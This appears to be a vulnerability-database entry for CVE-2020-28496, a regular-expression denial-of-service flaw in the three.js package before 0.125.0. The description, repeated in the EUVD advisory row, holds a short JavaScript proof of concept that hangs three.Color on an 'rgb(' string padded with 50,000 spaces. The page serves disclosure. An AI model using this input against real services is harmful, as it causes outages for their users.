CVE-2020-28496

Regular Expression Denial of Service (ReDoS)

Published Feb 18, 2021 CVSS 3.1 · 7.5 High EPSS 2.5% KEV · Not listed
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2021-0655 This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Github GHSA Github GHSA GHSA-fq6p-x6j3-cmmq Denial of service in three
History

No history.

Weaknesses

Sources

Status
PUBLISHED
Assigner
snyk
Published
Updated
Sep 17, 2024, 1:01 AM
Reserved
Nov 12, 2020, 12:00 AM
Status
Modified
Published
Feb 18, 2021, 3:15 PM
Modified
Jun 17, 2026, 3:10 AM